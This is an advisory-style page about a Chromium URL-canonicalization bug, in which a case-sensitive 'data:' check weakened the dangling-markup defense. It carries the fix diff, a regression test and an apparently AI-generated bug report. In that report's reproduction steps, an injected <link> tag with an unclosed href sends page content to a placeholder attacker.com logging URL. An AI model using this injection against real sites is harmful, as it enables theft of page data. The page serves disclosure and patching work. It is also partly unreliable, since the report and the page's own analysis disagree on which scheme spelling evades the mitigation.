Medium watch CVSS 4.3 chrome Input Validation 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
4.3
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactImproper input validation in Network
DescriptionImproper input validation in Network
ComponentNetwork
Sub-componentURL
Bug ClassInput Validation
Action tierwatch — logic/policy bug — security-relevant, no memory-unsafety
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker513392351
Fix commit58101a0c47e0 (chromium/src) +71/-4
CWECWE-20 (Improper input validation)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
CISA KEVNot listed
CreditedGoogle
Reported2026-05-15 (per vendor advisory)
Fix landed2026-06-30 (public git)
Disclosed2026-08-25
Patch gap56 days — fix public in source before the advisory

Background

`RemoveUrlWhitespace`
the URL-canonicalization helper that strips tab/CR/LF characters from an input URL, but deliberately preserves them for data: URLs so the payload survives verbatim.
`potentially_dangling_markup`
a Chromium-specific Parsed flag set when a URL contains both a newline and <, used to mitigate dangling-markup injection.
`data:` exception
a special case that skips whitespace removal for data: URLs so embedded markup can be checked by the parser rather than silently stripped.
`IsRemovableURLWhitespace`
the predicate identifying the whitespace bytes (tab, CR, LF) that URL parsing may remove.

Root Cause Analysis

RemoveUrlWhitespace detected the data: exception with a literal, case-sensitive byte compare anchored at offset zero (input[0]=='d' && input[1]=='a' && input[2]=='t' && input[3]=='a' && input[4]==':'), even though URL schemes are ASCII case-insensitive and leading tab/CR/LF are ignorable before scheme matching (TrimUrl has not yet run for relative inputs).

As a result, data:,a\nb skipped whitespace removal while DATA:,a\nb or \tdata:,a\nb did not, so the two spellings followed different paths and produced different canonical specs and different potentially_dangling_markup values despite being equivalent per the URL standard.

The fix steps scheme_start over any leading IsRemovableURLWhitespace bytes, takes trimmed = input.substr(scheme_start), and compares each scheme letter case-insensitively ((trimmed[0]=='d'||trimmed[0]=='D') && ...), returning trimmed when it matches; this makes all spellings (DATA:, Data:, \tdata:, \r\n\tdata:) take the identical data: path. The regression test confirms every case now canonicalizes to data:text/html,a%0Ab with potentially_dangling_markup=false, while an input like dat\ta: that only becomes data: after whitespace removal is (correctly) not treated as the exception.

Key insight
The single mistake was matching the data: scheme with a case-sensitive, offset-zero byte compare that ignored the standard’s rules that schemes are case-insensitive and leading removable whitespace is ignorable; the fix skips leading whitespace and compares the scheme case-insensitively so all data: spellings are handled identically.

Attack Path

  1. Craft a mis-cased/prefixed data URL An attacker supplies a data: URL spelled as DATA: (or Data:, dAtA:) or prefixed with tab/CR/LF, e.g. \tdata:text/html,<a\nb.
  2. Diverge from the canonical path Pre-fix, the case-sensitive offset-zero check fails to recognize the exception, so whitespace removal runs and canonicalization diverges from the plain-data: result.
  3. Alter markup/flag computation The differing spec and potentially_dangling_markup value mean the dangling-markup mitigation and the preserved-payload behavior are applied inconsistently versus the equivalent lowercase URL.
  4. Bypass mitigation An input that should be flagged/handled one way (or should have its markup preserved for parser checking) is instead treated differently, weakening the dangling-markup defense for that spelling (inferred).

Impact Assessment

An attacker can make equivalent data: URLs canonicalize inconsistently and receive different potentially_dangling_markup determinations depending purely on scheme case or leading whitespace, undermining the dangling-markup injection mitigation in URL parsing/canonicalization used across the browser. The advisory classifies this as improper input validation in Network and does not report in-the-wild exploitation; any concrete injection or navigation consequence beyond the demonstrated canonicalization/flag divergence is (inferred).

Changed Functions

FunctionChangeNotes
TEST_F
url/url_util_unittest.cc
modified
for
url/url_util_unittest.cc
modified

Files Changed

  • url/url_util_unittest.cc
  • url/url_canon_etc.cc

Audit Directions

  • Literal scheme/keyword compares
    Search canonicalization and parsing code for hand-rolled byte-for-byte scheme or keyword comparisons that assume lowercase and offset zero, which violate ASCII case-insensitivity and leading-whitespace rules.
  • Order-of-operations vs. normalization
    Flag checks that run before trimming/lowercasing (TrimUrl not yet applied) and thus see un-normalized input, especially where the result feeds a security flag like potentially_dangling_markup.
  • Equivalence invariants
    Add differential tests asserting that case variants and whitespace-prefixed variants of the same URL produce identical canonical output and identical security flags, to catch spelling-dependent divergence.
From 58101a0c47e06a2ec0ed30877083e908c3d1b8af Mon Sep 17 00:00:00 2001
From: Hayato Ito <hayato@chromium.org>
Date: Mon, 29 Jun 2026 17:29:44 -0700
Subject: [PATCH] url: Match data: case-insensitively when skipping whitespace

RemoveUrlWhitespace() preserves whitespace inside data: URLs but matched
the scheme via a literal lowercase byte compare anchored at offset zero.
Since URL schemes are ASCII case-insensitive and canonicalized to
lowercase later, "data:,a\nb" and "DATA:,a\nb" took different paths and
produced different canonical specs and potentially_dangling_markup
values. The same divergence occurred for relative inputs with leading
tab/CR/LF, where TrimUrl has not yet run.

Step over leading removable whitespace and compare the scheme
ASCII-case-insensitively so all spellings of the data: scheme are
handled identically.

Historical Context & Rationale:

1. http://crrev.com/c/514024: The `potentially_dangling_markup` flag was
introduced to mitigate dangling markup injection attacks by detecting
the coexistence of newlines and '<' in URLs.

2. http://crrev.com/c/616664: The `data:` URL exception was introduced
to skip whitespace removal for `data:` URLs. This was crucial to
preserve the payload and allow embedded URLs inside `data:` URLs to be
properly checked for dangling markup by the parser.

Thus, this dangling markup mitigation and its `data:` exception are
Chromium-specific behaviors. It was originally proposed in WHATWG URL PR
#284 (https://github.com/whatwg/url/pull/284) and WHATWG Fetch PR #519
(https://github.com/whatwg/fetch/pull/519) but never merged into the
standards.

Even though the `data:` exception is Chromium-specific, it must respect
the fundamental invariants of the URL standard—namely, that schemes are
case-insensitive and leading whitespace is ignorable. This change
ensures `DATA:` and `\tdata:` behave identically to `data:`.

TAG=agy

Bug: 513392351
Change-Id: If997553c2b6301993f5833bba4fdb92eb3288a1e
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8018050
Commit-Queue: Hayato Ito <hayato@chromium.org>
Reviewed-by: Kenichi Ishibashi <bashi@chromium.org>
Reviewed-by: Kent Tamura <tkent@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1654493}
---
diff --git a/url/url_canon_etc.cc b/url/url_canon_etc.cc
index 9bd617b..97071b7 100644
--- a/url/url_canon_etc.cc
+++ b/url/url_canon_etc.cc
@@ -64,14 +64,25 @@
     return input;
   }
 
-  // Skip whitespace removal for `data:` URLs.
+  // Skip whitespace removal for `data:` URLs. The scheme is matched
+  // ASCII-case-insensitively and after stepping over any leading removable
+  // whitespace, so that the result is the same regardless of how the scheme
+  // is spelled.
   //
   // TODO(mkwst): Ideally, this would use something like `base::StartsWith`, but
   // that turns out to be difficult to do correctly given this function's
   // character type templating.
-  if (input.length() > 5 && input[0] == 'd' && input[1] == 'a' &&
-      input[2] == 't' && input[3] == 'a' && input[4] == ':') {
-    return input;
+  size_t scheme_start = 0;
+  while (scheme_start < input.length() &&
+         IsRemovableURLWhitespace(input[scheme_start])) {
+    ++scheme_start;
+  }
+  std::basic_string_view<CHAR> trimmed = input.substr(scheme_start);
+  if (trimmed.length() > 5 && (trimmed[0] == 'd' || trimmed[0] == 'D') &&
+      (trimmed[1] == 'a' || trimmed[1] == 'A') &&
+      (trimmed[2] == 't' || trimmed[2] == 'T') &&
+      (trimmed[3] == 'a' || trimmed[3] == 'A') && trimmed[4] == ':') {
+    return trimmed;
   }
 
   // Remove the whitespace into the new buffer and return it.
diff --git a/url/url_util_unittest.cc b/url/url_util_unittest.cc
index fb5bbb5..24ca717e2 100644
--- a/url/url_util_unittest.cc
+++ b/url/url_util_unittest.cc
@@ -431,6 +431,62 @@
   }
 }
 
+TEST_F(URLUtilTest, DataURLWhitespaceHandlingIsSchemeCaseInsensitive) {
+  // Whitespace removal is skipped for data: URLs so that the body is
+  // preserved verbatim. Scheme matching is ASCII case-insensitive, so the
+  // skip must apply regardless of the case used to spell the scheme, and
+  // regardless of any tab/CR/LF preceding it.
+  struct {
+    const char* input;
+    const char* canonicalized;
+    bool potentially_dangling_markup;
+  } cases[] = {
+      {"data:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"DATA:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"Data:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"dAtA:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"data:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+      {"DATA:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+      {"\tdata:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"\tDATA:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"\r\n\tdata:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+      // Inputs that merely contain "data:" later still have whitespace
+      // removed as usual.
+      {"dat\ta:text/html,<ab", "data:text/html,<ab", true},
+  };
+
+  for (const auto& test : cases) {
+    SCOPED_TRACE(test.input);
+
+    // Direct canonicalization.
+    {
+      Parsed parsed;
+      std::string out;
+      StdStringCanonOutput output(&out);
+      ASSERT_TRUE(Canonicalize(test.input, true, nullptr, &output, &parsed));
+      output.Complete();
+      EXPECT_EQ(test.canonicalized, out);
+      EXPECT_EQ(test.potentially_dangling_markup,
+                parsed.potentially_dangling_markup);
+    }
+
+    // Resolution against a base URL.
+    {
+      const char* base = "https://example.com/";
+      Parsed base_parsed = ParseStandardUrl(base);
+      Parsed parsed;
+      std::string out;
+      StdStringCanonOutput output(&out);
+      ASSERT_TRUE(ResolveRelative(base, base_parsed, test.input, nullptr,
+                                  &output, &parsed));
+      output.Complete();
+      EXPECT_EQ(test.canonicalized, out);
+      EXPECT_EQ(test.potentially_dangling_markup,
+                parsed.potentially_dangling_markup);
+    }
+  }
+}
+
 TEST_F(URLUtilTest, PotentiallyDanglingMarkupAfterReplacement) {
   // Parse a URL with potentially dangling markup.
   Parsed original_parsed;
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/url/url_util_unittest.cc b/url/url_util_unittest.cc
index fb5bbb5..24ca717e2 100644
--- a/url/url_util_unittest.cc
+++ b/url/url_util_unittest.cc
@@ -431,6 +431,62 @@
   }
 }
 
+TEST_F(URLUtilTest, DataURLWhitespaceHandlingIsSchemeCaseInsensitive) {
+  // Whitespace removal is skipped for data: URLs so that the body is
+  // preserved verbatim. Scheme matching is ASCII case-insensitive, so the
+  // skip must apply regardless of the case used to spell the scheme, and
+  // regardless of any tab/CR/LF preceding it.
+  struct {
+    const char* input;
+    const char* canonicalized;
+    bool potentially_dangling_markup;
+  } cases[] = {
+      {"data:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"DATA:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"Data:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"dAtA:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"data:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+      {"DATA:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+      {"\tdata:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"\tDATA:text/html,a\nb", "data:text/html,a%0Ab", false},
+      {"\r\n\tdata:text/html,<a\nb", "data:text/html,<a%0Ab", false},
+      // Inputs that merely contain "data:" later still have whitespace
+      // removed as usual.
+      {"dat\ta:text/html,<ab", "data:text/html,<ab", true},
+  };
+
+  for (const auto& test : cases) {
+    SCOPED_TRACE(test.input);
+
+    // Direct canonicalization.
+    {
+      Parsed parsed;
+      std::string out;
+      StdStringCanonOutput output(&out);
+      ASSERT_TRUE(Canonicalize(test.input, true, nullptr, &output, &parsed));
+      output.Complete();
+      EXPECT_EQ(test.canonicalized, out);
+      EXPECT_EQ(test.potentially_dangling_markup,
+                parsed.potentially_dangling_markup);
+    }
+
+    // Resolution against a base URL.
+    {
+      const char* base = "https://example.com/";
+      Parsed base_parsed = ParseStandardUrl(base);
+      Parsed parsed;
+      std::string out;
+      StdStringCanonOutput output(&out);
+      ASSERT_TRUE(ResolveRelative(base, base_parsed, test.input, nullptr,
+                                  &output, &parsed));
+      output.Complete();
+      EXPECT_EQ(test.canonicalized, out);
+      EXPECT_EQ(test.potentially_dangling_markup,
+                parsed.potentially_dangling_markup);
+    }
+  }
+}
+
 TEST_F(URLUtilTest, PotentiallyDanglingMarkupAfterReplacement) {
   // Parse a URL with potentially dangling markup.
   Parsed original_parsed;
Loading diff…

Original Bug Report

reported by vm...@google.com

Bypass of dangling markup mitigation via case-sensitive 'data:' prefix check

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A logic error in the URL canonicalizer’s whitespace handling allows ‘data:’ URLs to bypass dangling markup detection. This occurs because a case-sensitive prefix check causes an early return, skipping the security flag assignment required to block dangerous resource loads.

Affected files:

  • url/url_canon_etc.cc
  • url/url_util.cc
  • third_party/blink/renderer/core/html/html_link_element.cc

Estimated timestamp from git blame: 2017-08-21

Potential Vulnerability: Dangling Markup Mitigation Bypass for data: URLs

A logic error exists in the URL canonicalizer’s whitespace removal function that leads to inconsistent behavior and a potential security bypass for data: URLs. Specifically, the function DoRemoveUrlWhitespace in url/url_canon_etc.cc contains a case-sensitive check for the data: scheme that improperly allows lowercase data: URLs to skip security flag assignment.

Root Cause Analysis

In url/url_canon_etc.cc, the following optimization exists to skip whitespace removal for data: URLs:

// url/url_canon_etc.cc line 72
if (input.length() > 5 && input[0] == 'd' && input[1] == 'a' &&
    input[2] == 't' && input[3] == 'a' && input[4] == ':') {
  return input;
}

This check is implemented using a case-sensitive comparison. When a URL starts with lowercase data:, the function returns the input string immediately. However, if the scheme is provided in any other case (e.g., DATA:), the check fails, and the function proceeds to the main loop (starting at line 78):

for (const CHAR ch : input) {
  if (!IsRemovableURLWhitespace(ch)) {
    if (potentially_dangling_markup && ch == 0x3C) {
      *potentially_dangling_markup = true;
    }
    buffer->push_back(ch);
  }
}

This loop is responsible for setting the potentially_dangling_markup flag when a < character (0x3C) is encountered in a URL that contains removable whitespace (newlines, tabs, or carriage returns). By returning early for lowercase data:, the canonicalizer fails to set this security flag even if the URL contains dangerous markup characters.

Impact

  1. Dangling Markup Mitigation Bypass: Blink’s HTMLLinkElement::ShouldLoadLink (third_party/blink/renderer/core/html/html_link_element.cc:246) relies on the PotentiallyDanglingMarkup() flag to block loads that might be part of an exfiltration attack. An attacker can use a lowercase data: prefix to ensure this flag is never set, bypassing the defense-in-depth mechanism that prevents data theft via unclosed attributes in injected tags.
  2. Parser Differential: According to the WHATWG URL Standard, schemes are case-insensitive. Chrome’s implementation creates a discrepancy where data:text/html,a\nb preserves the newline, while DATA:text/html,a\nb strips it. This can lead to bypasses of server-side security filters that use WHATWG-compliant parsers.

Potential Reproduction Steps

  1. Inject a <link> element with an unclosed href attribute starting with lowercase data:: <link rel="stylesheet" href="data:text/css,body{background:url('https://attacker.com/log?">.
  2. Note that the browser consumes the subsequent page content (including newlines and < characters) into the attribute value.
  3. Observe that HTMLLinkElement::ShouldLoadLink allows the load because the potentially_dangling_markup flag was not set during URL resolution.
  4. Compare this with the behavior when using DATA:, which correctly triggers the mitigation and blocks the load.

Suggested Fix

Modify DoRemoveUrlWhitespace in url/url_canon_etc.cc to use a case-insensitive prefix check. Furthermore, ensure that even if whitespace removal is skipped for data: URLs, the input string is still scanned to set the potentially_dangling_markup flag if it contains markup characters and removable whitespace. This can be achieved by integrating the flag-setting logic into the early-return path or by standardizing whitespace removal for all schemes in compliance with the URL Standard.

Evaluated with Chrome root at commit: b3153093eb3c78c3e88ccf562bcbc20437a04b0e


Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:

  • If you are familiar with the severity guidelines, you may adjust the severity.
  • If this is a false positive, and there’s no work to be done, please close as WAI.
  • If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.

Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker
Links in the report